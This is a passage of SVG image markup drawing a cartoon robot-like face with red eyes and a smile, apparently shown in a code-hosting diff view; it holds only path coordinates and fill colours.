<path d="M81.0954 35.7651C80.9627 37.3967 80.9848 39.059 80.6678 40.654C79.7799 45.1213 77.3914 48.6739 73.7197 51.3729C70.4932 53.7446 66.8509 54.8172 62.8785 54.8198C50.423 54.8279 37.9675 54.8338 25.512 54.8128C18.3491 54.8007 11.7583 50.4025 9.08742 43.8368C8.08475 41.3719 7.54802 38.7916 7.72476 35.9469C7.73125 31.4201 7.73267 27.0495 7.72604 22.679C7.72505 22.0287 7.68621 21.3785 7.66488 20.7282C7.82999 18.7003 7.80852 16.6355 8.20077 14.6523C8.91905 11.0209 10.8081 7.99461 13.5818 5.51731C16.4135 2.98818 19.6882 1.43446 23.453 0.928918C24.0971 0.84243 24.7514 0.79419 25.4011 0.793372C37.8197 0.777724 50.2384 0.740485 62.6568 0.776709C69.1792 0.795735 74.4088 3.47439 78.1227 8.85682C80.4234 12.1911 81.2214 15.9915 81.0831 20.0069C81.0743 20.2615 81.0815 20.5167 81.0557 20.9068C81.0238 25.8431 81.0167 30.6443 81.0143 35.4454C81.0142 35.552 81.0672 35.6586 81.0954 35.7651ZM55.9662 8.88438C46.2968 8.88431 36.6273 8.88091 26.9579 8.88647C24.4709 8.8879 22.1023 9.35275 20.0393 10.8442C17.1796 12.9116 15.8553 15.7812 15.8315 19.2477C15.7938 24.7303 15.7945 30.2136 15.8438 35.6959C15.8555 36.9851 16.0176 38.2964 16.3012 39.5546C16.8308 41.9047 18.2783 43.662 20.2669 44.9693C22.1287 46.1932 24.2199 46.6413 26.4229 46.6413C38.5951 46.6412 50.7677 46.6946 62.9394 46.6128C68.1639 46.5776 72.6917 42.9166 72.7943 36.9833C72.9003 30.8489 72.9066 24.7095 72.7861 18.5756C72.6864 13.5085 69.0839 9.61148 64.0537 9.08558C61.4364 8.81194 58.7771 8.93876 55.9662 8.88438Z" fill="#0B1E3F"/>
|
||||
<path d="M7.59587 20.7312C7.68621 21.3785 7.72505 22.0287 7.72604 22.679C7.73267 27.0495 7.73125 31.4201 7.71632 35.8675C6.74247 35.7085 5.75845 35.5477 4.8314 35.2241C-0.168688 33.4785 -1.2686 27.1641 1.6236 23.7154C3.14436 21.9021 5.15101 20.9218 7.59587 20.7312Z" fill="#5FA2D8"/>
|
||||
<path d="M81.1693 35.7528C81.0672 35.6586 81.0142 35.552 81.0143 35.4454C81.0167 30.6443 81.0238 25.8431 81.0724 20.9842C84.3691 20.6113 88.1121 23.4864 88.6076 27.3221C89.0849 31.0178 86.7192 34.6412 83.1772 35.4728C82.5464 35.6209 81.8886 35.6541 81.1693 35.7528Z" fill="#5EA1D8"/>
|
||||
<path d="M35.3847 40.8975C34.8015 39.8219 34.2015 38.8284 34.2426 37.5903C34.2722 36.6964 34.6455 36.0438 35.4451 35.7017C36.1719 35.3908 36.9315 35.1351 37.6992 34.9464C38.5768 34.7307 38.862 35.4612 39.1954 36.0442C39.5445 36.6547 39.7767 37.3528 40.2119 37.8898C41.9951 40.0901 44.4103 39.943 45.9648 37.5777C46.2435 37.1538 46.4712 36.6953 46.7074 36.2449C47.5233 34.6893 49.5776 34.5148 50.7257 35.8701C51.3219 36.5739 52.1756 37.1581 51.8135 38.2454C51.5314 39.0925 51.1857 39.9308 50.7639 40.7172C48.0675 45.7435 40.6638 45.7768 37.4998 43.1525C36.7273 42.5117 36.1046 41.6907 35.3847 40.8975Z" fill="#0C2041"/>
|
||||
<path fill-rule="evenodd" clip-rule="evenodd" d="M59.2084 36.7964C64.9101 36.7964 69.5322 32.1793 69.5322 26.4839C69.5322 20.7884 64.9101 16.1714 59.2084 16.1714C53.5067 16.1714 48.8845 20.7884 48.8845 26.4839C48.8845 32.1793 53.5067 36.7964 59.2084 36.7964ZM59.1231 30.3191C61.1964 30.3191 62.8772 28.6402 62.8772 26.5691C62.8772 24.498 61.1964 22.8191 59.1231 22.8191C57.0497 22.8191 55.3689 24.498 55.3689 26.5691C55.3689 28.6402 57.0497 30.3191 59.1231 30.3191Z" fill="#B2213E"/>
|
||||
<path fill-rule="evenodd" clip-rule="evenodd" d="M29.1754 36.6259C34.8771 36.6259 39.4992 32.0089 39.4992 26.3134C39.4992 20.618 34.8771 16.0009 29.1754 16.0009C23.4737 16.0009 18.8515 20.618 18.8515 26.3134C18.8515 32.0089 23.4737 36.6259 29.1754 36.6259ZM29.09 30.1487C31.1634 30.1487 32.8442 28.4697 32.8442 26.3987C32.8442 24.3276 31.1634 22.6487 29.09 22.6487C27.0167 22.6487 25.3359 24.3276 25.3359 26.3987C25.3359 28.4697 27.0167 30.1487 29.09 30.1487Z" fill="#B2213E"/>
|
||||
</svg>
|
After Width: | Height: | Size: 15 KiB |
Loading…
x
Reference in New Issue
Block a user